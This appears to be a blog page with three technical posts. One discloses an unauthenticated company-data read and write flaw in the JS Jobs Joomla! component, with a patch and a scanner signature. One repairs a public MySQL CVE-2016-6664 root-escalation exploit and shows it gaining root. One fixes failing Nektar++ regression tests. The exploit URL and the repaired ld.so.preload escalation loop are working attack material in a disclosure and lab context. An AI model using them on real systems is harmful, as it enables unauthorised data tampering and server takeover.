Latest Tweets

Js Jobs 1.1.6 for Joomla! security issue

Preamble

While preparing a new tutorial on CMS vulnerabilities for Linux User & Developer magazine, I came to find a new vulnerability affecting JS Jobs 1.1.6 and earlier for Joomla!. I reported it to the developers (18/12/2016) and to the VEL list as well. As of this writing, there is still no official released patch. This issue has been found by using vim editor and following some code path for the “Company” model inside the component.

Spotting the vulnerability

I started by looking for potential SQL-i vulnerabilities. During my search, I came upon this code snippet:

function getCompanybyIdforForm($id, $uid, $visitor, $vis_email, $jobid) {
        $db = $this->getDBO();
        if (is_numeric($uid) == false)
            return false;
...
}

This function was called from the view component of the Company model. In this function, $uid equals to the numeric value for the user accessing this data. As clearly seen in the code above, there is no checking for whether $uid == 0 ( a non-authenticated user). Therefore, any non-registered user can call this function and obtain the data for a particular company. Going back to the view.html.php file for the Company model we find:

elseif ($layout == 'formcompany') {           // form company
...
  $result = $this->getJSModel('company')->getCompanybyIdforForm($companyid, $uid, '', '', '');
...

Therefore, we can make an HTTP GET Request to the next URL in order to get a filled in form holding any registered company’s data:

http://IP_JOOMLA_SERVER/index.php?option=com_jsjobs&c=company&view=company&layout=formcompany&cd=[idcompany]

Where [idcompany] is a numeric value identifying all the registered companies in the database. Apart from being able to obtain all the data for a particular company, we can modify any field of this form and then store the changes to the database too (the message: “Company has been successfully saved” appears, along with a paradoxical error message telling you that you are not logged in therefore you don’t have access to the private area ;-)).

You can modify any field from the Company form and then save the changes.

Under some circumstances it is even possible to create a new company by calling this form with a non-existing [idcompany].

Fixing the issue

Until JoomSky releases an official patch, it is possible to fix this security issue (at least for non-registered Joomla! users), by checking the value for $uid in the getCompanybyIdforForm function (components/com_jsjobs/views/company/Company.php). Just modify line 37 so it looks like this:

function getCompanybyIdforForm($id, $uid, $visitor, $vis_email, $jobid) {
        $db = $this->getDBO();
        if (is_numeric($uid) == false || $uid == 0)
            return false;

Modify the old Joomscan to detect the vulnerability

Joomscan is an old Joomla! vulnerability scanner developed by OWASP. Although it is quite old, you can leverage it to detect this new vulnerability. First, add this new vulnerability to its database by appending this line to the joomscandb.txt file:

Component: JsJobs 1.1.X (com_jsjobs) Company Data Form vulnerability Versions Affected: 1.1.6 <= |/components/com_jsjobs|/components/com_jsjobs/index.php?option=com_jsjobs&c=common&view=company&layout=formcompany&cd=1

Then, make sure to add this code-snippet to the joomscan.pl file in order to detect the vulnerability (it will look for the form “adminForm” inside the HTTP response from the server):

                case(/com_jsjobs/)
                {
                     my $jsreq = $ua->request(GET $url.$exploit );
                     if ($jsreq->content =~ /name="adminForm" id="adminForm"/gi){
                         $isvuln = 1; 
                     }else{$vulnans = 'No';}
                }

Now, run the tool in order to test it:

./joomscan -u http://JOOMLA_SERVER

….

# 29
Info -> Component: JsJobs 1.1.X (com_jsjobs) Company Data Form vulnerability
Versions Affected: 1.1.6 <=
Check: /components/com_jsjobs/
Exploit: /components/com_jsjobs/index.php?option=com_jsjobs&c=common&view=company&layout=formcompany&cd=1
Vulnerable? Yes

Fix the issue as described and re-run the tool:

./joomscan -u http://JOOMLA_SERVER

# 29
Info -> Component: JsJobs 1.1.X (com_jsjobs) Company Data Form vulnerability
Versions Affected: 1.1.6 <=
Check: /components/com_jsjobs/
Exploit: /components/com_jsjobs/index.php?option=com_jsjobs&c=common&view=company&layout=formcompany&cd=1
Vulnerable? No

Mysql CVE-2016-6664 Dawid Golunski’s exploit fails and could crash the entire system

Preamble

The root privilege escalation exploit written by Dawid Golunski did not work out-of-the-box on a mysql vulnerable database server running on WebSecurity Dojo. Although the first exploit (gaining mysql user privileges) did work, after that I could not gain root access by running the shell script designed to exploit CVE-2016-6664:

dojo@dojo2:~$ ./40678 root dojo localhost dvwa
[+] Entering the race loop… Hang in there…
[+] Bingo! Race won (took 4 tries) ! Check out the mysql SUID shell:
[+] Spawning the mysql SUID shell now…
Remember that from there you can gain root with vuln CVE-2016-6662 or CVE-2016-6664 🙂
mysql_suid_shell.MYD-4.2$ whoami
mysql

/40679.sh /var/log/mysql/error.log
[+] Backdoor/low-priv shell installed at:
-rwxr-xr-x 1 mysql dojo 920788 Nov 14 08:09 /tmp/mysqlrootsh
[+] Waiting for MySQL to re-open the logs/MySQL service restart…
Do you want to kill mysqld process to instantly get root? 🙂 ? [y/n]
/40679.sh: line 162: /etc/ld.so.preload: Permission denied
./40679.sh: line 170: /etc/ld.so.preload: Permission denied
[+] MySQL restarted. The /etc/ld.so.preload file got created with mysql privileges:
-rw-rw—- 1 root root 82 Nov 14 15:11 /etc/ld.so.preload
[+] Adding /tmp/privesclib.so shared lib to /etc/ld.so.preload
cat: /etc/ld.so.preload: Permission denied
[+] The /etc/ld.so.preload file now contains:
chmod: changing permissions of `/etc/ld.so.preload’: Operation not permitted
[+] Escalating privileges via the /usr/bin/sudo SUID binary to get root!
-rwxr-xr-x 1 mysql dojo 920788 Nov 14 15:11 /tmp/mysqlrootsh
[!] Failed to get root

The issue

First thing: WebSecurity Dojo is Ubuntu-based, and it does not use mysqld_safe. It executes “mysqld” directly, so if you try to run this exploit it does not do as promised because there is no way mysqld_safe is going to re-create the error.log file as soon as mysqld is killed. After making sure mysqld_safe is executed, still I cannot get the exploit working because the /etc/ld.so.preload file is owned by root and therefore the malicious /tmp/privesclib.so cannot be loaded:

[+] MySQL restarted. The /etc/ld.so.preload file got created with mysql privileges:
-rw-rw—- 1 root root 82 Nov 16 03:06 /etc/ld.so.preload

Got it. Executing ‘killall mysqld’ now…
./40679.sh: line 162: /etc/ld.so.preload: Permission denied
./40679.sh: line 170: /etc/ld.so.preload: Permission denied

So the script fails to deliver a root shell. The flaw resides in assuming that whenever /etc/ld.so.preload exists, it is owned by mysql and thus this code-snippet will end up writing the string “/tmp/privesclib.so” in /etc/ld.so.preload:

while :; do 
        sleep 0.1
        if [ -f /etc/ld.so.preload ]; then
                echo $PRIVESCLIB > /etc/ld.so.preload
                rm -f $ERRORLOG
                break;
        fi
done

But, as you have clearly seen, the file is temporarily owned by “root” (until the chown mysql is issued by mysqld_safe) and thus the script fails. Moreover, because what we have in /etc/ld.so.preload comes from the mysql log, we’ve got a lot of complaints about the impossibility of pre-loading whatever is inside the /etc/ld.so.preload (bear in mind that this is system-wide). It gets even worse: if you reboot the Virtual Machine, the system crashes. So if you do run this script during a regular pentest engagement, make sure you don’t make the system unusable.

When /etc/ld.so.preload cannot be successfully written with the malicious library, the entire system crashes after rebooting it.

When /etc/ld.so.preload cannot be successfully written with the malicious library, the entire system crashes after rebooting it.

Fixing

It is safer to make sure that /etc/ld.so.preload has been successfully written before assuming that it has been. To achieve that, I have added a simple loop until the right malicious library is written in /etc/ld.so.preload (another way to fix this could be to increase the time the loop waits for the presence of /etc/ld.so.preload):

echo -ne "Trying to write the ld.so.preload until we sucess ... "
while :; do 
        sleep 0.1
        if [ -f /etc/ld.so.preload ]; then
                echo $PRIVESCLIB > /etc/ld.so.preload 
                if [ $? -eq 0 ]; then
                        rm -f $ERRORLOG
                        break;
                fi
        fi
done
echo -ne " [DONE!]\n"

Now, if we re-run the exploit, we’ve got the root shell as promised:

[+] Waiting for MySQL to re-open the logs/MySQL service restart…
Do you want to kill mysqld process to instantly get root? 🙂 ? [y/n] y
Got it. Executing ‘killall mysqld’ now…
Trying to write the ld.so.preload until we sucess … ./40679.sh: line 166: /etc/ld.so.preload: Permission denied
./40679.sh: line 166: /etc/ld.so.preload: Permission denied
./40679.sh: line 166: /etc/ld.so.preload: Permission denied
[DONE!]
+] Escalating privileges via the /usr/bin/sudo SUID binary to get root!
-rwsrwxrwx 1 root root 920788 Nov 16 05:03 /tmp/mysqlrootsh

[+] Rootshell got assigned root SUID perms at:
-rwsrwxrwx 1 root root 920788 Nov 16 05:03 /tmp/mysqlrootsh

Got root! The database server has been ch-OWNED !

[+] Spawning the rootshell /tmp/mysqlrootsh now!
mysqlrootsh-4.2# whoami
root

Be extremely careful if you run this exploit on a real computer; if /etc/ld.so.preload cannot be written with the malicious library, the entire system could stop working.

You can watch a video about this issue HERE.

Nektar++ 4.3.4: all the regression tests fail after a successful compilation

The issue

After successfully compiling Nektar 4.3.4, we proceeded to run the “ctest” command to execute all the regression tests. Unluckily for us, every single one failed:

292/399 Test #292: ADRSolver_Helmholtz3D_CubePeriodic_RotateFace ……………………………….***Failed    0.01 sec
Start 293: ADRSolver_CubeAllElements
293/399 Test #293: ADRSolver_CubeAllElements …………………………………………………***Failed    0.01 sec
Start 294: ADRSolver_ImDiffusion_m12

What was going on behind the scenes

We needed to find out why all the tests failed. It had nothing to do with the LD_LIBRARY_PATH environment variable as discussed here, so I decided to run the ctest utility with the first regression test, adding some debug and verbose flags along the way:

ctest -VV –output-log TEST –output-on-failure -R StdRegions_StdProject1D_Seg_Orth_P6_Q7

This time, I got more information about the error:

5: Test command: /nektar/nektar++-4.3.4/build/tests/Tester “//nektar/nektar++-4.3.4/library/Demos/StdRegions/Tests/StdProject1D_Seg_Orth_P6_Q7.tst”

5: Test timeout computed to be: 9.99988e+06
5: Error occurred running test:
5: Command: StdProject1D-g 1 6 7 1>output.out 2>output.err
5: Files left in /nektar/nektar++-4.3.4/build/library/Demos/StdRegions/tmp_StdProject1D_Seg_Orth_P6_Q7
[HANDLER_OUTPUT]
1/
1 Test #5: StdRegions_StdProject1D_Seg_Orth_P6_Q7 …***Failed 0.01 sec
Error occurred running test:
Command: StdProject1D-g 1 6 7 1>output.out 2>output.err
Files left in /nektar/nektar++-4.3.4/build/library/Demos/StdRegions/tmp_StdProject1D_Seg_Orth_P6_Q7

Have a look at the executable’s name: StdProject1D-g. There was no such binary in our Nektar++ dist directory. We had a StdProject1D executable instead. So the Tester binary (compiled withing the Nektar++ distribution), was looking for binaries with a wrong name. The “-g” literal sounded like “debug” versions of the binaries. That did not make any sense, because we had compiled Nektar++ setting the CMAKE_BUILD_TYPE as  “Release” within the cmake build system. In theory, this setting should have been set the proper flags for the Tester component compilation.

Therefore, I looked inside the Tester.cpp file and I found some comments related to this issue:

// Construct test command to run. If in debug mode, append "-g"
// Output from stdout and stderr are directed to the files output.out
// and output.err, respectively.

Following from Tester.cpp, I ended up reading the file TestData.cpp:

#elif !defined(NDEBUG)
          m_executable += "-g";
#endif

So that was it; without the NDEBUG directive, the Tester program would be generated with all the “debug” versions of the binaries, thus the “-g” literal would be appended to their names. And yet, the binaries that were generated by  compiling Nektar++ were non-debug versions! No wonder why Tester could not find them and all the regression tests failed!

Fixing the issue

The flag that needed to be added to the build process for the Tester program was: -DNDEBUG. So I edited the build/tests/CMakeFiles/Tester.dir/flags.make file in order to add it:

CXX_FLAGS = -Wno-deprecated -DNDEBUG -isystem /nektar/nektar++-4.3.4/build/ThirdParty/dist/include -isystem /nektar/nektar++-4.3.4/ThirdParty/dist/include -isystem /usr/lib/x86_64-linux-gnu/../include -I/usr/lib/openmpi/include -I/usr/lib/openmpi/include/openmpi -I/usr/include/vtk-5.8 -I/nektar/nektar++-4.3.4/build/ThirdParty/libsmvf1.0/lib -I/nektar/nektar++-4.3.4 -I/nektar/nektar++-4.3.4/library -I/nektar/nektar++-4.3.4/solvers -I/nektar/nektar++-4.3.4/utilities -I/nektar/nektar++-4.3.4/tests

After that, I cleaned up and built the Tester program once again:

cd build/tests
make clean
make

Having now the right names for the binaries, I could run the ctest utility without issues at all. All the regression tests worked like a charm. Job done.